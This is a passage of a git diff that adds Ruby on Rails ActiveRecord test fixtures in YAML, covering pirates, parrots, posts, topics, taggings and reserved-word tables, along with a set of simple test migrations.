diff --git a/activerecord/test/fixtures/other_dogs.yml b/activerecord/test/fixtures/other_dogs.yml
new file mode 100644
index 0000000000..b576861929
--- /dev/null
+++ b/activerecord/test/fixtures/other_dogs.yml
@@ -0,0 +1,2 @@
+lassie:
+  id: 1
diff --git a/activerecord/test/fixtures/other_posts.yml b/activerecord/test/fixtures/other_posts.yml
new file mode 100644
index 0000000000..39ff763547
--- /dev/null
+++ b/activerecord/test/fixtures/other_posts.yml
@@ -0,0 +1,7 @@
+_fixture:
+  model_class: Post
+
+second_welcome:
+  author_id: 1
+  title: Welcome to the another weblog
+  body: It's really nice today
diff --git a/activerecord/test/fixtures/other_topics.yml b/activerecord/test/fixtures/other_topics.yml
new file mode 100644
index 0000000000..93f48aedc4
--- /dev/null
+++ b/activerecord/test/fixtures/other_topics.yml
@@ -0,0 +1,42 @@
+first:
+  id: 1
+  title: The First Topic
+  author_name: David
+  author_email_address: david@loudthinking.com
+  written_on: 2003-07-16t15:28:11.2233+01:00
+  last_read: 2004-04-15
+  bonus_time: 2005-01-30t15:28:00.00+01:00
+  content: Have a nice day
+  approved: false
+  replies_count: 1
+
+second:
+  id: 2
+  title: The Second Topic of the day
+  author_name: Mary
+  written_on: 2004-07-15t15:28:00.0099+01:00
+  content: Have a nice day
+  approved: true
+  replies_count: 0
+  parent_id: 1
+  type: Reply
+
+third:
+  id: 3
+  title: The Third Topic of the day
+  author_name: Carl
+  written_on: 2005-07-15t15:28:00.0099+01:00
+  content: I'm a troll
+  approved: true
+  replies_count: 1
+
+fourth:
+  id: 4
+  title: The Fourth Topic of the day
+  author_name: Carl
+  written_on: 2006-07-15t15:28:00.0099+01:00
+  content: Why not?
+  approved: true
+  type: Reply
+  parent_id: 3
+
diff --git a/activerecord/test/fixtures/owners.yml b/activerecord/test/fixtures/owners.yml
new file mode 100644
index 0000000000..3b7b29bb34
--- /dev/null
+++ b/activerecord/test/fixtures/owners.yml
@@ -0,0 +1,9 @@
+blackbeard:
+  owner_id: 1
+  name: blackbeard
+  essay_id: A Modest Proposal
+  happy_at: '2150-10-10 16:00:00'
+
+ashley:
+  owner_id: 2
+  name: ashley
diff --git a/activerecord/test/fixtures/parrots.yml b/activerecord/test/fixtures/parrots.yml
new file mode 100644
index 0000000000..8425ef98e0
--- /dev/null
+++ b/activerecord/test/fixtures/parrots.yml
@@ -0,0 +1,27 @@
+george:
+  name: "Curious George"
+  treasures: diamond, sapphire
+  parrot_sti_class: LiveParrot
+
+louis:
+  name: "King Louis"
+  treasures: [diamond, sapphire]
+  parrot_sti_class: LiveParrot
+
+frederick:
+  name: $LABEL
+  parrot_sti_class: LiveParrot
+
+polly:
+  id: 4
+  name: $LABEL
+  killer: blackbeard
+  treasures: sapphire, ruby
+  parrot_sti_class: DeadParrot
+
+DEFAULTS: &DEFAULTS
+  treasures: sapphire, ruby
+  parrot_sti_class: LiveParrot
+
+davey:
+  *DEFAULTS
diff --git a/activerecord/test/fixtures/parrots_pirates.yml b/activerecord/test/fixtures/parrots_pirates.yml
new file mode 100644
index 0000000000..e1a301b91a
--- /dev/null
+++ b/activerecord/test/fixtures/parrots_pirates.yml
@@ -0,0 +1,7 @@
+george_blackbeard:
+  parrot_id: <%= ActiveRecord::FixtureSet.identify(:george) %>
+  pirate_id: <%= ActiveRecord::FixtureSet.identify(:blackbeard) %>
+
+louis_blackbeard:
+  parrot_id: <%= ActiveRecord::FixtureSet.identify(:louis) %>
+  pirate_id: <%= ActiveRecord::FixtureSet.identify(:blackbeard) %>
diff --git a/activerecord/test/fixtures/people.yml b/activerecord/test/fixtures/people.yml
new file mode 100644
index 0000000000..0ec05e8d56
--- /dev/null
+++ b/activerecord/test/fixtures/people.yml
@@ -0,0 +1,24 @@
+michael:
+  id: 1
+  first_name: Michael
+  primary_contact_id: 2
+  number1_fan_id: 3
+  gender: M
+  followers_count: 1
+  friends_too_count: 1
+david:
+  id: 2
+  first_name: David
+  primary_contact_id: 3
+  number1_fan_id: 1
+  gender: M
+  followers_count: 1
+  friends_too_count: 1
+susan:
+  id: 3
+  first_name: Susan
+  primary_contact_id: 2
+  number1_fan_id: 1
+  gender: F
+  followers_count: 1
+  friends_too_count: 1
diff --git a/activerecord/test/fixtures/peoples_treasures.yml b/activerecord/test/fixtures/peoples_treasures.yml
new file mode 100644
index 0000000000..46abe50e6c
--- /dev/null
+++ b/activerecord/test/fixtures/peoples_treasures.yml
@@ -0,0 +1,3 @@
+michael_diamond:
+  rich_person_id: <%= ActiveRecord::FixtureSet.identify(:michael) %>
+  treasure_id: <%= ActiveRecord::FixtureSet.identify(:diamond) %>
diff --git a/activerecord/test/fixtures/pets.yml b/activerecord/test/fixtures/pets.yml
new file mode 100644
index 0000000000..2ec4f53e6d
--- /dev/null
+++ b/activerecord/test/fixtures/pets.yml
@@ -0,0 +1,19 @@
+parrot:
+  pet_id: 1
+  name: parrot
+  owner_id: 1
+
+chew:
+  pet_id: 2
+  name: chew
+  owner_id: 2
+
+mochi:
+  pet_id: 3
+  name: mochi
+  owner_id: 2
+
+bulbul:
+  pet_id: 4
+  name: bulbul
+  owner_id: 1
diff --git a/activerecord/test/fixtures/pirates.yml b/activerecord/test/fixtures/pirates.yml
new file mode 100644
index 0000000000..0b1a785853
--- /dev/null
+++ b/activerecord/test/fixtures/pirates.yml
@@ -0,0 +1,15 @@
+blackbeard:
+  catchphrase: "Yar."
+  parrot: george
+
+redbeard:
+  catchphrase: "Avast!"
+  parrot: louis
+  created_on: "<%= 2.weeks.ago.to_s(:db) %>"
+  updated_on: "<%= 2.weeks.ago.to_s(:db) %>"
+
+mark:
+  catchphrase: "X $LABELs the spot!"
+
+1:
+  catchphrase: "#$LABEL pirate!"
diff --git a/activerecord/test/fixtures/posts.yml b/activerecord/test/fixtures/posts.yml
new file mode 100644
index 0000000000..86d46f753a
--- /dev/null
+++ b/activerecord/test/fixtures/posts.yml
@@ -0,0 +1,80 @@
+welcome:
+  id: 1
+  author_id: 1
+  title: Welcome to the weblog
+  body: Such a lovely day
+  comments_count: 2
+  tags_count: 1
+  type: Post
+
+thinking:
+  id: 2
+  author_id: 1
+  title: So I was thinking
+  body: Like I hopefully always am
+  comments_count: 1
+  tags_count: 1
+  type: SpecialPost
+
+authorless:
+  id: 3
+  author_id: 0
+  title: I don't have any comments
+  body: I just don't want to
+  type: Post
+
+sti_comments:
+  id: 4
+  author_id: 1
+  title: sti comments
+  body: hello
+  type: Post
+
+sti_post_and_comments:
+  id: 5
+  author_id: 1
+  title: sti me
+  body: hello
+  type: StiPost
+
+sti_habtm:
+  id: 6
+  author_id: 1
+  title: habtm sti test
+  body: hello
+  type: Post
+
+eager_other:
+  id: 7
+  author_id: 2
+  title: eager loading with OR'd conditions
+  body: hello
+  type: Post
+
+misc_by_bob:
+  id: 8
+  author_id: 3
+  title: misc post by bob
+  body: hello
+  type: Post
+
+misc_by_mary:
+  id: 9
+  author_id: 2
+  title: misc post by mary
+  body: hello
+  type: Post
+
+other_by_bob:
+  id: 10
+  author_id: 3
+  title: other post by bob
+  body: hello
+  type: Post
+
+other_by_mary:
+  id: 11
+  author_id: 2
+  title: other post by mary
+  body: hello
+  type: Post
diff --git a/activerecord/test/fixtures/price_estimates.yml b/activerecord/test/fixtures/price_estimates.yml
new file mode 100644
index 0000000000..406d65a142
--- /dev/null
+++ b/activerecord/test/fixtures/price_estimates.yml
@@ -0,0 +1,16 @@
+sapphire_1:
+  price: 10
+  estimate_of: sapphire (Treasure)
+
+sapphire_2:
+  price: 20
+  estimate_of: sapphire (Treasure)
+
+diamond:
+  price: 30
+  estimate_of: diamond (Treasure)
+
+honda:
+  price: 40
+  estimate_of_type: Car
+  estimate_of_id: 1
diff --git a/activerecord/test/fixtures/products.yml b/activerecord/test/fixtures/products.yml
new file mode 100644
index 0000000000..8a197fb038
--- /dev/null
+++ b/activerecord/test/fixtures/products.yml
@@ -0,0 +1,4 @@
+product_1:
+  id: 1
+  collection_id: 1
+  name: Product
diff --git a/activerecord/test/fixtures/projects.yml b/activerecord/test/fixtures/projects.yml
new file mode 100644
index 0000000000..02800c7824
--- /dev/null
+++ b/activerecord/test/fixtures/projects.yml
@@ -0,0 +1,7 @@
+action_controller:
+  id: 2
+  name: Active Controller
+
+active_record:
+  id: 1
+  name: Active Record
diff --git a/activerecord/test/fixtures/randomly_named_a9.yml b/activerecord/test/fixtures/randomly_named_a9.yml
new file mode 100644
index 0000000000..bc51c83112
--- /dev/null
+++ b/activerecord/test/fixtures/randomly_named_a9.yml
@@ -0,0 +1,7 @@
+first_instance:

+  some_attribute: AAA

+  another_attribute: 000

+

+second_instance:

+  some_attribute: BBB

+  another_attribute: 999

diff --git a/activerecord/test/fixtures/ratings.yml b/activerecord/test/fixtures/ratings.yml
new file mode 100644
index 0000000000..34e208efa3
--- /dev/null
+++ b/activerecord/test/fixtures/ratings.yml
@@ -0,0 +1,14 @@
+normal_comment_rating:
+  id: 1
+  comment_id: 8
+  value: 1
+
+special_comment_rating:
+  id: 2
+  comment_id: 6
+  value: 1
+
+sub_special_comment_rating:
+  id: 3
+  comment_id: 12
+  value: 1
diff --git a/activerecord/test/fixtures/readers.yml b/activerecord/test/fixtures/readers.yml
new file mode 100644
index 0000000000..14b883f041
--- /dev/null
+++ b/activerecord/test/fixtures/readers.yml
@@ -0,0 +1,11 @@
+michael_welcome:
+  id: 1
+  post_id: 1
+  person_id: 1
+  first_post_id: 2
+
+michael_authorless:
+  id: 2
+  post_id: 3
+  person_id: 1
+  first_post_id: 3
diff --git a/activerecord/test/fixtures/references.yml b/activerecord/test/fixtures/references.yml
new file mode 100644
index 0000000000..8e3953e916
--- /dev/null
+++ b/activerecord/test/fixtures/references.yml
@@ -0,0 +1,17 @@
+michael_magician:
+  id: 1
+  person_id: 1
+  job_id: 3
+  favourite: false
+
+michael_unicyclist:
+  id: 2
+  person_id: 1
+  job_id: 1
+  favourite: true
+
+david_unicyclist:
+  id: 3
+  person_id: 2
+  job_id: 1
+  favourite: false
diff --git a/activerecord/test/fixtures/reserved_words/distinct.yml b/activerecord/test/fixtures/reserved_words/distinct.yml
new file mode 100644
index 0000000000..0988f89ca6
--- /dev/null
+++ b/activerecord/test/fixtures/reserved_words/distinct.yml
@@ -0,0 +1,5 @@
+distinct1:
+  id: 1
+
+distinct2:
+  id: 2
diff --git a/activerecord/test/fixtures/reserved_words/distinct_select.yml b/activerecord/test/fixtures/reserved_words/distinct_select.yml
new file mode 100644
index 0000000000..d96779ade4
--- /dev/null
+++ b/activerecord/test/fixtures/reserved_words/distinct_select.yml
@@ -0,0 +1,11 @@
+distinct_select1:
+  distinct_id: 1
+  select_id: 1
+
+distinct_select2:
+  distinct_id: 1
+  select_id: 2
+
+distinct_select3:
+  distinct_id: 2
+  select_id: 3
diff --git a/activerecord/test/fixtures/reserved_words/group.yml b/activerecord/test/fixtures/reserved_words/group.yml
new file mode 100644
index 0000000000..39abea7abb
--- /dev/null
+++ b/activerecord/test/fixtures/reserved_words/group.yml
@@ -0,0 +1,14 @@
+group1:
+  id: 1
+  select_id: 1
+  order: x
+
+group2:
+  id: 2
+  select_id: 2
+  order: y
+
+group3:
+  id: 3
+  select_id: 2
+  order: z
diff --git a/activerecord/test/fixtures/reserved_words/select.yml b/activerecord/test/fixtures/reserved_words/select.yml
new file mode 100644
index 0000000000..a4c35a2b63
--- /dev/null
+++ b/activerecord/test/fixtures/reserved_words/select.yml
@@ -0,0 +1,8 @@
+select1:
+  id: 1
+
+select2:
+  id: 2
+
+select3:
+  id: 3
diff --git a/activerecord/test/fixtures/reserved_words/values.yml b/activerecord/test/fixtures/reserved_words/values.yml
new file mode 100644
index 0000000000..7d109609ab
--- /dev/null
+++ b/activerecord/test/fixtures/reserved_words/values.yml
@@ -0,0 +1,7 @@
+values1:
+  id: 1
+  group_id: 2
+
+values2:
+  id: 2
+  group_id: 1
diff --git a/activerecord/test/fixtures/ships.yml b/activerecord/test/fixtures/ships.yml
new file mode 100644
index 0000000000..df914262b3
--- /dev/null
+++ b/activerecord/test/fixtures/ships.yml
@@ -0,0 +1,6 @@
+black_pearl:
+  name: "Black Pearl"
+  pirate: blackbeard
+interceptor:
+  id: 2
+  name: "Interceptor"
diff --git a/activerecord/test/fixtures/speedometers.yml b/activerecord/test/fixtures/speedometers.yml
new file mode 100644
index 0000000000..e12398f0c4
--- /dev/null
+++ b/activerecord/test/fixtures/speedometers.yml
@@ -0,0 +1,8 @@
+cool_first:
+  speedometer_id: s1
+  name: my_speedometer
+  dashboard_id: d1
+second:
+  speedometer_id: s2
+  name: second
+  dashboard_id: d2
diff --git a/activerecord/test/fixtures/sponsors.yml b/activerecord/test/fixtures/sponsors.yml
new file mode 100644
index 0000000000..2da541c539
--- /dev/null
+++ b/activerecord/test/fixtures/sponsors.yml
@@ -0,0 +1,12 @@
+moustache_club_sponsor_for_groucho:
+  sponsor_club: moustache_club
+  sponsorable_id: 1
+  sponsorable_type: Member
+boring_club_sponsor_for_groucho:
+  sponsor_club: boring_club
+  sponsorable_id: 2
+  sponsorable_type: Member
+crazy_club_sponsor_for_groucho:
+  sponsor_club: crazy_club
+  sponsorable_id: 3
+  sponsorable_type: Member
diff --git a/activerecord/test/fixtures/string_key_objects.yml b/activerecord/test/fixtures/string_key_objects.yml
new file mode 100644
index 0000000000..fa1299915b
--- /dev/null
+++ b/activerecord/test/fixtures/string_key_objects.yml
@@ -0,0 +1,7 @@
+first:
+  id: record1
+  name: first record
+
+second:
+  id: record2
+  name: second record
diff --git a/activerecord/test/fixtures/subscribers.yml b/activerecord/test/fixtures/subscribers.yml
new file mode 100644
index 0000000000..0f6e0cd48e
--- /dev/null
+++ b/activerecord/test/fixtures/subscribers.yml
@@ -0,0 +1,11 @@
+first:
+  nick: alterself
+  name: Luke Holden
+
+second:
+  nick: webster132
+  name: David Heinemeier Hansson
+
+third:
+  nick: swistak
+  name: Marcin Raczkowski
\ No newline at end of file
diff --git a/activerecord/test/fixtures/subscriptions.yml b/activerecord/test/fixtures/subscriptions.yml
new file mode 100644
index 0000000000..5a93c12193
--- /dev/null
+++ b/activerecord/test/fixtures/subscriptions.yml
@@ -0,0 +1,12 @@
+webster_awdr:
+  id: 1
+  subscriber_id: webster132
+  book_id: 1
+webster_rfr:
+  id: 2
+  subscriber_id: webster132
+  book_id: 2
+alterself_awdr:
+  id: 3
+  subscriber_id: alterself
+  book_id: 1
diff --git a/activerecord/test/fixtures/taggings.yml b/activerecord/test/fixtures/taggings.yml
new file mode 100644
index 0000000000..d339c12b25
--- /dev/null
+++ b/activerecord/test/fixtures/taggings.yml
@@ -0,0 +1,78 @@
+welcome_general:
+  id: 1
+  tag_id: 1
+  super_tag_id: 2
+  taggable_id: 1
+  taggable_type: Post
+
+thinking_general:
+  id: 2
+  tag_id: 1
+  taggable_id: 2
+  taggable_type: Post
+
+fake:
+  id: 3
+  tag_id: 1
+  taggable_id: 1
+  taggable_type: FakeModel
+
+godfather:
+  id: 4
+  tag_id: 1
+  taggable_id: 1
+  taggable_type: Item
+
+orphaned:
+  id: 5
+  tag_id: 1
+
+misc_post_by_bob:
+  id: 6
+  tag_id: 2
+  taggable_id: 8
+  taggable_type: Post
+
+misc_post_by_mary:
+  id: 7
+  tag_id: 2
+  taggable_id: 9
+  taggable_type: Post
+
+misc_by_bob_blue_first:
+  id: 8
+  tag_id: 3
+  taggable_id: 8
+  taggable_type: Post
+  comment: first
+
+misc_by_bob_blue_second:
+  id: 9
+  tag_id: 3
+  taggable_id: 8
+  taggable_type: Post
+  comment: second
+
+other_by_bob_blue:
+  id: 10
+  tag_id: 3
+  taggable_id: 10
+  taggable_type: Post
+  comment: first
+
+other_by_mary_blue:
+  id: 11
+  tag_id: 3
+  taggable_id: 11
+  taggable_type: Post
+  comment: first
+
+special_comment_rating:
+  id: 12
+  taggable_id: 2
+  taggable_type: Rating
+
+normal_comment_rating:
+  id: 13
+  taggable_id: 1
+  taggable_type: Rating
diff --git a/activerecord/test/fixtures/tags.yml b/activerecord/test/fixtures/tags.yml
new file mode 100644
index 0000000000..d4b7c9a4d5
--- /dev/null
+++ b/activerecord/test/fixtures/tags.yml
@@ -0,0 +1,11 @@
+general:
+  id: 1
+  name: General
+
+misc:
+  id: 2
+  name: Misc
+
+blue:
+  id: 3
+  name: Blue
diff --git a/activerecord/test/fixtures/tasks.yml b/activerecord/test/fixtures/tasks.yml
new file mode 100644
index 0000000000..c38b32b0e5
--- /dev/null
+++ b/activerecord/test/fixtures/tasks.yml
@@ -0,0 +1,7 @@
+# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html
+first_task:
+  id: 1
+  starting: 2005-03-30t06:30:00.00+01:00
+  ending: 2005-03-30t08:30:00.00+01:00
+another_task:
+  id: 2
diff --git a/activerecord/test/fixtures/teapots.yml b/activerecord/test/fixtures/teapots.yml
new file mode 100644
index 0000000000..ff515beb45
--- /dev/null
+++ b/activerecord/test/fixtures/teapots.yml
@@ -0,0 +1,3 @@
+bob:
+  id: 1
+  name: Bob
diff --git a/activerecord/test/fixtures/to_be_linked/accounts.yml b/activerecord/test/fixtures/to_be_linked/accounts.yml
new file mode 100644
index 0000000000..9e341a15af
--- /dev/null
+++ b/activerecord/test/fixtures/to_be_linked/accounts.yml
@@ -0,0 +1,2 @@
+signals37:
+  name: 37signals
diff --git a/activerecord/test/fixtures/to_be_linked/users.yml b/activerecord/test/fixtures/to_be_linked/users.yml
new file mode 100644
index 0000000000..e2884beda5
--- /dev/null
+++ b/activerecord/test/fixtures/to_be_linked/users.yml
@@ -0,0 +1,10 @@
+david:
+  name: David
+  account: signals37
+
+jamis:
+  name: Jamis
+  account: signals37
+  settings:
+    :symbol: symbol
+    string: string
diff --git a/activerecord/test/fixtures/topics.yml b/activerecord/test/fixtures/topics.yml
new file mode 100644
index 0000000000..4c98b10380
--- /dev/null
+++ b/activerecord/test/fixtures/topics.yml
@@ -0,0 +1,49 @@
+first:
+  id: 1
+  title: The First Topic
+  author_name: David
+  author_email_address: david@loudthinking.com
+  written_on: 2003-07-16t15:28:11.2233+01:00
+  last_read: 2004-04-15
+  bonus_time: 2005-01-30t15:28:00.00+01:00
+  content: "--- Have a nice day\n...\n"
+  approved: false
+  replies_count: 1
+
+second:
+  id: 2
+  title: The Second Topic of the day
+  author_name: Mary
+  written_on: 2004-07-15t15:28:00.0099+01:00
+  content: "--- Have a nice day\n...\n"
+  approved: true
+  replies_count: 0
+  parent_id: 1
+  type: Reply
+
+third:
+  id: 3
+  title: The Third Topic of the day
+  author_name: Carl
+  written_on: 2012-08-12t20:24:22.129346+00:00
+  content: "--- I'm a troll\n...\n"
+  approved: true
+  replies_count: 1
+
+fourth:
+  id: 4
+  title: The Fourth Topic of the day
+  author_name: Carl
+  written_on: 2006-07-15t15:28:00.0099+01:00
+  content: "--- Why not?\n...\n"
+  approved: true
+  type: Reply
+  parent_id: 3
+
+fifth:
+  id: 5
+  title: The Fifth Topic of the day
+  author_name: Jason
+  written_on: 2013-07-13t12:11:00.0099+01:00
+  content: "--- Omakase\n...\n"
+  approved: true
diff --git a/activerecord/test/fixtures/toys.yml b/activerecord/test/fixtures/toys.yml
new file mode 100644
index 0000000000..ae9044ec62
--- /dev/null
+++ b/activerecord/test/fixtures/toys.yml
@@ -0,0 +1,14 @@
+bone:
+  toy_id: 1
+  name: Bone
+  pet_id: 1
+
+doll:
+  toy_id: 2
+  name: Doll
+  pet_id: 2
+
+bulbuli:
+  toy_id: 3
+  name: Bulbuli
+  pet_id: 4
diff --git a/activerecord/test/fixtures/traffic_lights.yml b/activerecord/test/fixtures/traffic_lights.yml
new file mode 100644
index 0000000000..81b4e47959
--- /dev/null
+++ b/activerecord/test/fixtures/traffic_lights.yml
@@ -0,0 +1,10 @@
+uk:
+  location: UK
+  state:
+    - Green
+    - Red
+    - Orange
+  long_state:
+    - "Green, go ahead"
+    - "Red, wait"
+    - "Orange, caution light is about to switch"
\ No newline at end of file
diff --git a/activerecord/test/fixtures/treasures.yml b/activerecord/test/fixtures/treasures.yml
new file mode 100644
index 0000000000..9db15798fd
--- /dev/null
+++ b/activerecord/test/fixtures/treasures.yml
@@ -0,0 +1,10 @@
+diamond:
+  name: $LABEL
+
+sapphire:
+  name: $LABEL
+  looter: redbeard (Pirate)
+
+ruby:
+  name: $LABEL
+  looter: louis (Parrot)
diff --git a/activerecord/test/fixtures/trees.yml b/activerecord/test/fixtures/trees.yml
new file mode 100644
index 0000000000..9e030b7632
--- /dev/null
+++ b/activerecord/test/fixtures/trees.yml
@@ -0,0 +1,3 @@
+root:
+  id: 1
+  name: The Root
diff --git a/activerecord/test/fixtures/uuid_children.yml b/activerecord/test/fixtures/uuid_children.yml
new file mode 100644
index 0000000000..a7b15016e2
--- /dev/null
+++ b/activerecord/test/fixtures/uuid_children.yml
@@ -0,0 +1,3 @@
+sonny:
+  uuid_parent: daddy
+  name: Sonny
diff --git a/activerecord/test/fixtures/uuid_parents.yml b/activerecord/test/fixtures/uuid_parents.yml
new file mode 100644
index 0000000000..0b40225c5c
--- /dev/null
+++ b/activerecord/test/fixtures/uuid_parents.yml
@@ -0,0 +1,2 @@
+daddy:
+  name: Daddy
diff --git a/activerecord/test/fixtures/variants.yml b/activerecord/test/fixtures/variants.yml
new file mode 100644
index 0000000000..06be30727b
--- /dev/null
+++ b/activerecord/test/fixtures/variants.yml
@@ -0,0 +1,4 @@
+variant_1:
+  id: 1
+  product_id: 1
+  name: Variant
diff --git a/activerecord/test/fixtures/vegetables.yml b/activerecord/test/fixtures/vegetables.yml
new file mode 100644
index 0000000000..b9afbfbb05
--- /dev/null
+++ b/activerecord/test/fixtures/vegetables.yml
@@ -0,0 +1,20 @@
+first_cucumber:
+  id: 1
+  custom_type: Cucumber
+  name: 'my cucumber'
+
+first_cabbage:
+  id: 2
+  custom_type: Cabbage
+  name: 'my cabbage'
+
+second_cabbage:
+  id: 3
+  custom_type: Cabbage
+  name: 'his cabbage'
+
+red_cabbage:
+  id: 4
+  custom_type: RedCabbage
+  name: 'red cabbage'
+  seller_id: 3
\ No newline at end of file
diff --git a/activerecord/test/fixtures/vertices.yml b/activerecord/test/fixtures/vertices.yml
new file mode 100644
index 0000000000..8af0593f75
--- /dev/null
+++ b/activerecord/test/fixtures/vertices.yml
@@ -0,0 +1,4 @@
+<% (1..5).each do |id| %>
+vertex_<%= id %>:
+  id: <%= id %>
+<% end %>
\ No newline at end of file
diff --git a/activerecord/test/fixtures/warehouse-things.yml b/activerecord/test/fixtures/warehouse-things.yml
new file mode 100644
index 0000000000..9e07ba7db5
--- /dev/null
+++ b/activerecord/test/fixtures/warehouse-things.yml
@@ -0,0 +1,3 @@
+one:
+  id: 1
+  value: 1000
\ No newline at end of file
diff --git a/activerecord/test/fixtures/zines.yml b/activerecord/test/fixtures/zines.yml
new file mode 100644
index 0000000000..07dce4db7e
--- /dev/null
+++ b/activerecord/test/fixtures/zines.yml
@@ -0,0 +1,5 @@
+staying_in:
+  title: Staying in '08
+
+going_out:
+  title: Outdoor Pursuits 2k+8
diff --git a/activerecord/test/migrations/10_urban/9_add_expressions.rb b/activerecord/test/migrations/10_urban/9_add_expressions.rb
new file mode 100644
index 0000000000..4b0d5fb6fa
--- /dev/null
+++ b/activerecord/test/migrations/10_urban/9_add_expressions.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class AddExpressions < ActiveRecord::Migration::Current
+  def self.up
+    create_table("expressions") do |t|
+      t.column :expression, :string
+    end
+  end
+
+  def self.down
+    drop_table "expressions"
+  end
+end
diff --git a/activerecord/test/migrations/decimal/1_give_me_big_numbers.rb b/activerecord/test/migrations/decimal/1_give_me_big_numbers.rb
new file mode 100644
index 0000000000..b892f50e41
--- /dev/null
+++ b/activerecord/test/migrations/decimal/1_give_me_big_numbers.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class GiveMeBigNumbers < ActiveRecord::Migration::Current
+  def self.up
+    create_table :big_numbers do |table|
+      table.column :bank_balance, :decimal, precision: 10, scale: 2
+      table.column :big_bank_balance, :decimal, precision: 15, scale: 2
+      table.column :world_population, :decimal, precision: 10
+      table.column :my_house_population, :decimal, precision: 2
+      table.column :value_of_e, :decimal
+    end
+  end
+
+  def self.down
+    drop_table :big_numbers
+  end
+end
diff --git a/activerecord/test/migrations/empty/.gitkeep b/activerecord/test/migrations/empty/.gitkeep
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/activerecord/test/migrations/empty/.gitkeep
diff --git a/activerecord/test/migrations/magic/1_currencies_have_symbols.rb b/activerecord/test/migrations/magic/1_currencies_have_symbols.rb
new file mode 100644
index 0000000000..2ba2875751
--- /dev/null
+++ b/activerecord/test/migrations/magic/1_currencies_have_symbols.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+# coding: ISO-8859-15
+
+class CurrenciesHaveSymbols < ActiveRecord::Migration::Current
+  def self.up
+    # We use € for default currency symbol
+    add_column "currencies", "symbol", :string, default: "€"
+  end
+
+  def self.down
+    remove_column "currencies", "symbol"
+  end
+end
diff --git a/activerecord/test/migrations/missing/1000_people_have_middle_names.rb b/activerecord/test/migrations/missing/1000_people_have_middle_names.rb
new file mode 100644
index 0000000000..d3c9b127fb
--- /dev/null
+++ b/activerecord/test/migrations/missing/1000_people_have_middle_names.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class PeopleHaveMiddleNames < ActiveRecord::Migration::Current
+  def self.up
+    add_column "people", "middle_name", :string
+  end
+
+  def self.down
+    remove_column "people", "middle_name"
+  end
+end
diff --git a/activerecord/test/migrations/missing/1_people_have_last_names.rb b/activerecord/test/migrations/missing/1_people_have_last_names.rb
new file mode 100644
index 0000000000..bd5f5ea11e
--- /dev/null
+++ b/activerecord/test/migrations/missing/1_people_have_last_names.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class PeopleHaveLastNames < ActiveRecord::Migration::Current
+  def self.up
+    add_column "people", "last_name", :string
+  end
+
+  def self.down
+    remove_column "people", "last_name"
+  end
+end
diff --git a/activerecord/test/migrations/missing/3_we_need_reminders.rb b/activerecord/test/migrations/missing/3_we_need_reminders.rb
new file mode 100644
index 0000000000..4647268c6e
--- /dev/null
+++ b/activerecord/test/migrations/missing/3_we_need_reminders.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+class WeNeedReminders < ActiveRecord::Migration::Current
+  def self.up
+    create_table("reminders") do |t|
+      t.column :content, :text
+      t.column :remind_at, :datetime
+    end
+  end
+
+  def self.down
+    drop_table "reminders"
+  end
+end
diff --git a/activerecord/test/migrations/missing/4_innocent_jointable.rb b/activerecord/test/migrations/missing/4_innocent_jointable.rb
new file mode 100644
index 0000000000..8063bc0558
--- /dev/null
+++ b/activerecord/test/migrations/missing/4_innocent_jointable.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+class InnocentJointable < ActiveRecord::Migration::Current
+  def self.up
+    create_table("people_reminders", id: false) do |t|
+      t.column :reminder_id, :integer
+      t.column :person_id, :integer
+    end
+  end
+
+  def self.down
+    drop_table "people_reminders"
+  end
+end
diff --git a/activerecord/test/migrations/rename/1_we_need_things.rb b/activerecord/test/migrations/rename/1_we_need_things.rb
new file mode 100644
index 0000000000..8e71a1d996
--- /dev/null
+++ b/activerecord/test/migrations/rename/1_we_need_things.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class WeNeedThings < ActiveRecord::Migration::Current
+  def self.up
+    create_table("things") do |t|
+      t.column :content, :text
+    end
+  end
+
+  def self.down
+    drop_table "things"
+  end
+end
diff --git a/activerecord/test/migrations/rename/2_rename_things.rb b/activerecord/test/migrations/rename/2_rename_things.rb
new file mode 100644
index 0000000000..110fe3f0fa
--- /dev/null
+++ b/activerecord/test/migrations/rename/2_rename_things.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class RenameThings < ActiveRecord::Migration::Current
+  def self.up
+    rename_table "things", "awesome_things"
+  end
+
+  def self.down
+    rename_table "awesome_things", "things"
+  end
+end
diff --git a/activerecord/test/migrations/to_copy/1_people_have_hobbies.rb b/activerecord/test/migrations/to_copy/1_people_have_hobbies.rb
new file mode 100644
index 0000000000..badccf65cc
--- /dev/null
+++ b/activerecord/test/migrations/to_copy/1_people_have_hobbies.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class PeopleHaveHobbies < ActiveRecord::Migration::Current
+  def self.up
+    add_column "people", "hobbies", :text
+  end
+
+  def self.down
+    remove_column "people", "hobbies"
+  end
+end
diff --git a/activerecord/test/migrations/to_copy/2_people_have_descriptions.rb b/activerecord/test/migrations/to_copy/2_people_have_descriptions.rb
new file mode 100644
index 0000000000..1d19d5d6f4
--- /dev/null
+++ b/activerecord/test/migrations/to_copy/2_people_have_descriptions.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class PeopleHaveDescriptions < ActiveRecord::Migration::Current
+  def self.up
+    add_column "people", "description", :text
+  end
+
+  def self.down
+    remove_column "people", "description"
+  end
+end
diff --git a/activerecord/test/migrations/to_copy2/1_create_articles.rb b/activerecord/test/migrations/to_copy2/1_create_articles.rb
new file mode 100644
index 0000000000..85c166b319
--- /dev/null
+++ b/activerecord/test/migrations/to_copy2/1_create_articles.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class CreateArticles < ActiveRecord::Migration::Current
+  def self.up
+  end
+
+  def self.down
+  end
+end
diff --git a/activerecord/test/migrations/to_copy2/2_create_comments.rb b/activerecord/test/migrations/to_copy2/2_create_comments.rb
new file mode 100644
index 0000000000..1d213a1705
--- /dev/null
+++ b/activerecord/test/migrations/to_copy2/2_create_comments.rb
